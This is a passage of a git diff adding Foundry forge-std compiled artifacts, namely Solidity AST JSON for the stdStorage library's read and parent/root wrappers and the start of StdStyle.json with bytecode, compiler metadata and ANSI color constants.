(uint256)"}},"id":9338,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"17419:30:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"functionReturnParameters":9334,"id":9339,"nodeType":"Return","src":"17412:37:8"}]},"implemented":true,"kind":"function","modifiers":[],"name":"read_uint","nameLocation":"17340:9:8","parameters":{"id":9331,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9330,"mutability":"mutable","name":"self","nameLocation":"17369:4:8","nodeType":"VariableDeclaration","scope":9341,"src":"17350:23:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":9329,"nodeType":"UserDefinedTypeName","pathNode":{"id":9328,"name":"StdStorage","nameLocations":["17350:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"17350:10:8"},"referencedDeclaration":7427,"src":"17350:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"}],"src":"17349:25:8"},"returnParameters":{"id":9334,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9333,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":9341,"src":"17393:7:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":9332,"name":"uint256","nodeType":"ElementaryTypeName","src":"17393:7:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"17392:9:8"},"scope":9386,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":9355,"nodeType":"FunctionDefinition","src":"17462:122:8","nodes":[],"body":{"id":9354,"nodeType":"Block","src":"17531:53:8","nodes":[],"statements":[{"expression":{"arguments":[{"id":9351,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9344,"src":"17572:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}],"expression":{"id":9349,"name":"stdStorageSafe","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8781,"src":"17548:14:8","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_stdStorageSafe_$8781_$","typeString":"type(library stdStorageSafe)"}},"id":9350,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"17563:8:8","memberName":"read_int","nodeType":"MemberAccess","referencedDeclaration":8452,"src":"17548:23:8","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$returns$_t_int256_$","typeString":"function (struct StdStorage storage pointer) returns (int256)"}},"id":9352,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"17548:29:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"functionReturnParameters":9348,"id":9353,"nodeType":"Return","src":"17541:36:8"}]},"implemented":true,"kind":"function","modifiers":[],"name":"read_int","nameLocation":"17471:8:8","parameters":{"id":9345,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9344,"mutability":"mutable","name":"self","nameLocation":"17499:4:8","nodeType":"VariableDeclaration","scope":9355,"src":"17480:23:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":9343,"nodeType":"UserDefinedTypeName","pathNode":{"id":9342,"name":"StdStorage","nameLocations":["17480:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"17480:10:8"},"referencedDeclaration":7427,"src":"17480:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"}],"src":"17479:25:8"},"returnParameters":{"id":9348,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9347,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":9355,"src":"17523:6:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":9346,"name":"int256","nodeType":"ElementaryTypeName","src":"17523:6:8","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"}],"src":"17522:8:8"},"scope":9386,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":9371,"nodeType":"FunctionDefinition","src":"17590:128:8","nodes":[],"body":{"id":9370,"nodeType":"Block","src":"17667:51:8","nodes":[],"statements":[{"expression":{"arguments":[{"id":9367,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9358,"src":"17706:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}],"expression":{"id":9365,"name":"stdStorageSafe","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8781,"src":"17684:14:8","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_stdStorageSafe_$8781_$","typeString":"type(library stdStorageSafe)"}},"id":9366,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"17699:6:8","memberName":"parent","nodeType":"MemberAccess","referencedDeclaration":8518,"src":"17684:21:8","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$returns$_t_uint256_$_t_bytes32_$","typeString":"function (struct StdStorage storage pointer) returns (uint256,bytes32)"}},"id":9368,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"17684:27:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$_t_uint256_$_t_bytes32_$","typeString":"tuple(uint256,bytes32)"}},"functionReturnParameters":9364,"id":9369,"nodeType":"Return","src":"17677:34:8"}]},"implemented":true,"kind":"function","modifiers":[],"name":"parent","nameLocation":"17599:6:8","parameters":{"id":9359,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9358,"mutability":"mutable","name":"self","nameLocation":"17625:4:8","nodeType":"VariableDeclaration","scope":9371,"src":"17606:23:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":9357,"nodeType":"UserDefinedTypeName","pathNode":{"id":9356,"name":"StdStorage","nameLocations":["17606:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"17606:10:8"},"referencedDeclaration":7427,"src":"17606:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"}],"src":"17605:25:8"},"returnParameters":{"id":9364,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9361,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":9371,"src":"17649:7:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":9360,"name":"uint256","nodeType":"ElementaryTypeName","src":"17649:7:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":9363,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":9371,"src":"17658:7:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":9362,"name":"bytes32","nodeType":"ElementaryTypeName","src":"17658:7:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"17648:18:8"},"scope":9386,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":9385,"nodeType":"FunctionDefinition","src":"17724:115:8","nodes":[],"body":{"id":9384,"nodeType":"Block","src":"17790:49:8","nodes":[],"statements":[{"expression":{"arguments":[{"id":9381,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9374,"src":"17827:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}],"expression":{"id":9379,"name":"stdStorageSafe","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8781,"src":"17807:14:8","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_stdStorageSafe_$8781_$","typeString":"type(library stdStorageSafe)"}},"id":9380,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"17822:4:8","memberName":"root","nodeType":"MemberAccess","referencedDeclaration":8607,"src":"17807:19:8","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$returns$_t_uint256_$","typeString":"function (struct StdStorage storage pointer) returns (uint256)"}},"id":9382,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"17807:25:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"functionReturnParameters":9378,"id":9383,"nodeType":"Return","src":"17800:32:8"}]},"implemented":true,"kind":"function","modifiers":[],"name":"root","nameLocation":"17733:4:8","parameters":{"id":9375,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9374,"mutability":"mutable","name":"self","nameLocation":"17757:4:8","nodeType":"VariableDeclaration","scope":9385,"src":"17738:23:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":9373,"nodeType":"UserDefinedTypeName","pathNode":{"id":9372,"name":"StdStorage","nameLocations":["17738:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"17738:10:8"},"referencedDeclaration":7427,"src":"17738:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"}],"src":"17737:25:8"},"returnParameters":{"id":9378,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9377,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":9385,"src":"17781:7:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":9376,"name":"uint256","nodeType":"ElementaryTypeName","src":"17781:7:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"17780:9:8"},"scope":9386,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"}],"abstract":false,"baseContracts":[],"canonicalName":"stdStorage","contractDependencies":[],"contractKind":"library","fullyImplemented":true,"linearizedBaseContracts":[9386],"name":"stdStorage","nameLocation":"12768:10:8","scope":9387,"usedErrors":[],"usedEvents":[]}],"license":"MIT"},"id":8} \ No newline at end of file diff --git a/contracts/out/StdStyle.sol/StdStyle.json b/contracts/out/StdStyle.sol/StdStyle.json new file mode 100644 index 000000000..ac062e507 --- /dev/null +++ b/contracts/out/StdStyle.sol/StdStyle.json @@ -0,0 +1 @@ +{"abi":[],"bytecode":{"object":"0x60556032600b8282823980515f1a607314602657634e487b7160e01b5f525f60045260245ffd5b305f52607381538281f3fe730000000000000000000000000000000000000000301460806040525f80fdfea2646970667358221220182aec8f55e26497acd38ccd368e980c05b2932a142bd17263e3fce5d8378d0964736f6c63430008180033","sourceMap":"100:10361:9:-:0;;;;;;;;;;;;;;;-1:-1:-1;;;100:10361:9;;;;;;;;;;;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x730000000000000000000000000000000000000000301460806040525f80fdfea2646970667358221220182aec8f55e26497acd38ccd368e980c05b2932a142bd17263e3fce5d8378d0964736f6c63430008180033","sourceMap":"100:10361:9:-:0;;;;;;;;","linkReferences":{}},"methodIdentifiers":{},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"lib/forge-std/src/StdStyle.sol\":\"StdStyle\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/forge-std/src/StdStyle.sol\":{\"keccak256\":\"0x43e2a8a9b9c2574dabe74f11adf6f782df218f463540e3b5b563609fe108597d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://51363ca97404cf4128e1141428949768c31929e75e014b02c85e887fbbb4f1b8\",\"dweb:/ipfs/QmVhtbQc2fU4rRmbcfBtz34mAgG4BAZBsbna1Ca4SkoPsK\"]},\"lib/forge-std/src/Vm.sol\":{\"keccak256\":\"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f\",\"license\":\"MIT OR Apache-2.0\",\"urls\":[\"bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59\",\"dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"lib/forge-std/src/StdStyle.sol":"StdStyle"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/forge-std/src/StdStyle.sol":{"keccak256":"0x43e2a8a9b9c2574dabe74f11adf6f782df218f463540e3b5b563609fe108597d","urls":["bzz-raw://51363ca97404cf4128e1141428949768c31929e75e014b02c85e887fbbb4f1b8","dweb:/ipfs/QmVhtbQc2fU4rRmbcfBtz34mAgG4BAZBsbna1Ca4SkoPsK"],"license":"MIT"},"lib/forge-std/src/Vm.sol":{"keccak256":"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f","urls":["bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59","dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT"],"license":"MIT OR Apache-2.0"}},"version":1},"ast":{"absolutePath":"lib/forge-std/src/StdStyle.sol","id":10598,"exportedSymbols":{"StdStyle":[10597],"VmSafe":[15098]},"nodeType":"SourceUnit","src":"32:10430:9","nodes":[{"id":9388,"nodeType":"PragmaDirective","src":"32:32:9","nodes":[],"literals":["solidity",">=","0.4",".22","<","0.9",".0"]},{"id":9390,"nodeType":"ImportDirective","src":"66:32:9","nodes":[],"absolutePath":"lib/forge-std/src/Vm.sol","file":"./Vm.sol","nameLocation":"-1:-1:-1","scope":10598,"sourceUnit":15674,"symbolAliases":[{"foreign":{"id":9389,"name":"VmSafe","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15098,"src":"74:6:9","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":10597,"nodeType":"ContractDefinition","src":"100:10361:9","nodes":[{"id":9407,"nodeType":"VariableDeclaration","src":"123:92:9","nodes":[],"constant":true,"mutability":"constant","name":"vm","nameLocation":"147:2:9","scope":10597,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"},"typeName":{"id":9392,"nodeType":"UserDefinedTypeName","pathNode":{"id":9391,"name":"VmSafe","nameLocations":["123:6:9"],"nodeType":"IdentifierPath","referencedDeclaration":15098,"src":"123:6:9"},"referencedDeclaration":15098,"src":"123:6:9","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"value":{"arguments":[{"arguments":[{"arguments":[{"arguments":[{"arguments":[{"hexValue":"6865766d20636865617420636f6465","id":9401,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"193:17:9","typeDescriptions":{"typeIdentifier":"t_stringliteral_885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d","typeString":"literal_string \"hevm cheat code\""},"value":"hevm cheat code"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d","typeString":"literal_string \"hevm cheat code\""}],"id":9400,"name":"keccak256","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-8,"src":"183:9:9","typeDescriptions":{"typeIdentifier":"t_function_keccak256_pure$_t_bytes_memory_ptr_$returns$_t_bytes32_$","typeString":"function (bytes memory) pure returns (bytes32)"}},"id":9402,"isConstant":false,"isLValue":false,"isPure":true,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"183:28:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"id":9399,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"175:7:9","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":9398,"name":"uint256","nodeType":"ElementaryTypeName","src":"175:7:9","typeDescriptions":{}}},"id":9403,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"175:37:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":9397,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"167:7:9","typeDescriptions":{"typeIdentifier":"t_type$_t_uint160_$","typeString":"type(uint160)"},"typeName":{"id":9396,"name":"uint160","nodeType":"ElementaryTypeName","src":"167:7:9","typeDescriptions":{}}},"id":9404,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"167:46:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint160","typeString":"uint160"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint160","typeString":"uint160"}],"id":9395,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"159:7:9","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":9394,"name":"address","nodeType":"ElementaryTypeName","src":"159:7:9","typeDescriptions":{}}},"id":9405,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"159:55:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":9393,"name":"VmSafe","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15098,"src":"152:6:9","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_VmSafe_$15098_$","typeString":"type(contract VmSafe)"}},"id":9406,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"152:63:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"visibility":"private"},{"id":9410,"nodeType":"VariableDeclaration","src":"222:34:9","nodes":[],"constant":true,"mutability":"constant","name":"RED","nameLocation":"238:3:9","scope":10597,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":9408,"name":"string","nodeType":"ElementaryTypeName","src":"222:6:9","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"value":{"hexValue":"1b5b39316d","id":9409,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"244:12:9","typeDescriptions":{"typeIdentifier":"t_stringliteral_e865f62b1188865fdbe08fdbe8546369f5c78a8f677a27514aadc154b4263c18","typeString":"literal_string hex\"1b5b39316d\""},"value":"\u001b[91m"},"visibility":"internal"},{"id":9413,"nodeType":"VariableDeclaration","src":"262:36:9","nodes":[],"constant":true,"mutability":"constant","name":"GREEN","nameLocation":"278:5:9","scope":10597,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":9411,"name":"string","nodeType":"ElementaryTypeName","src":"262:6:9","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"value":{"hexValue":"1b5b39326d","id":9412,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"286:12:9","typeDescriptions":{"typeIdentifier":"t_stringliteral_250c6c79af2fd59b948ba31b977e669524bbf27faba009961b135f1635e1e32b","typeString":"literal_string hex\"1b5b39326d\""},"value":"\u001b[92m"},"visibility":"internal"},{"id":9416,"nodeType":"VariableDeclaration","src":"304:37:9","nodes":[],"constant":true,"mutability":"constant","name":"YELLOW","nameLocation":"320:6:9","scope":10597,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":9414,"name":"string","nodeType":"ElementaryTypeName","src":"304:6:9","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"value":{"hexValue":"1b5b39336d","id":9415,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"329:12:9","typeDescriptions":{"typeIdentifier":"t_stringliteral_801b445b8c4f71d86cf740b8fd9f85e172d35421144725dd58fed362de2e6cf5","typeString":"literal_string hex\"1b5b39336d\""},"value":"\u001b[93m"},"visibility":"internal"},{"id":9419,"nodeType":"VariableDeclaration","src":"347:35:9","nodes":[],"constant":true,"mutability":"constant","name":"BLUE","nameLocation":"363:4:9","scope":10597,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":9417,"name":"string","nodeType":"ElementaryTypeName","src":"347:6:9","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"value":{"hexValue":"1b5b39346d","id":9418,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"370:12:9","typeDescriptions":{"typeIdentifier":"t_stringliteral_66ecf2e89553c52e360a74737e5e4e3d15e4d08217c17497ca50efb90c95d593","typeString":"literal_string hex\"1b5b39346d\""},"value":"\u001b[94m"},"visibility":"internal"},{"id":9422,"nodeType":"VariableDeclaration","src":"388:38:9","nodes":[],"constant":true,"mutability":"constant","name":"MAGENTA","nameLocation":"404:7:9","scope":10597,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":9420,"name":"string","nodeType":"ElementaryTypeName","src":"388:6:9","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"value":{"hexValue":"1b5b39356d","id":9421,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"414:12:9","typeDescriptions":{"typeIdentifier":"t_stringliteral_b81cf1fd9bcd2b49f14457c6168490b5ff507c85cc3778934da8235d270d6b5b","typeString":"literal_string hex\"1b5b39356d\""},"value":"\u001b[95m"},"visibility":"internal"},{"id":9425,"nodeType":"VariableDeclaration","src":"432:35:9","nodes":[],"constant":true,"mutability":"constant","name":"CYAN","nameLocation":"448:4:9","scope":10597,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":9423,"name":"string","nodeType":"ElementaryTypeName","src":"432:6:9","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"value":{"hexValue":"1b5b39366d","id":9424,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"455:12:9","typeDescriptions":{"typeIdentifier":"t_stringliteral_f73c74e3aa04446480bd18c1b857a46321f6d66d2bfb703d52333566c779447b","typeString":"literal_string hex\"1b5b39366d\""},"value":"\u001b[96m"},"visibility":"internal"},{"id":9428,"nodeType":"VariableDeclaration","src":"473:34:9","nodes":[],"constant":true,"mutability":"constant","name":"BOLD","nameLocation":"489:4:9","scope":10597,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":9426,"name":"string","nodeType":"ElementaryTypeName","src":"473:6:9","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"value":{"hexValue":"1b5b316d","id":9427,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"496:11:9","typeDescriptions":{"typeIdentifier":"t_stringliteral_b25b1471c5d449346ad6b37b501b2d5911d6e2bad13ad71d09cdfa3d3b140a17","typeString":"literal_string hex\"1b5b316d\""},"value":"\u001b[1m"},"visibility":"internal"},{"id":9431,"nodeType":"VariableDeclaration","src":"513:33:9","nodes":[],"constant":true,"mutability":"constant","name":"DIM","nameLocation":"529:3:9","scope":10597,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":9429,"name":"string","nodeType":"ElementaryTypeName","src":"513:6:9","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"value":{"hexValue":"1b5b326d","id":9430,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"535:11:9","typeDescriptions":{"typeIdentifier":"t_stringliteral_2f556fa434add49eadfa043e74ff00496b89a16068544c1118ec19f5d8603d51","typeString":"literal_string hex\"1b5b326d\""},"value":"\u001b[2m"},"visibility":"internal"},{"id":9434,"nodeType":"VariableDeclaration","src":"552:36:9","nodes":[],"constant":true,"mutability":"constant","name":"ITALIC","nameLocation":"568:6:9","scope":10597,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":9432,"name":"string","nodeType":"ElementaryTypeName","src":"552:6:9","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"value":{"hexValue":"1b5b336d","id":9433,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"577:11:9","typeDescriptions":{"typeIdentifier":"t_stringliteral_3889f2814cfbcc60c7a881028023c05aed4a6dae60be0df554f690b1f4e7411f","typeString":"literal_string 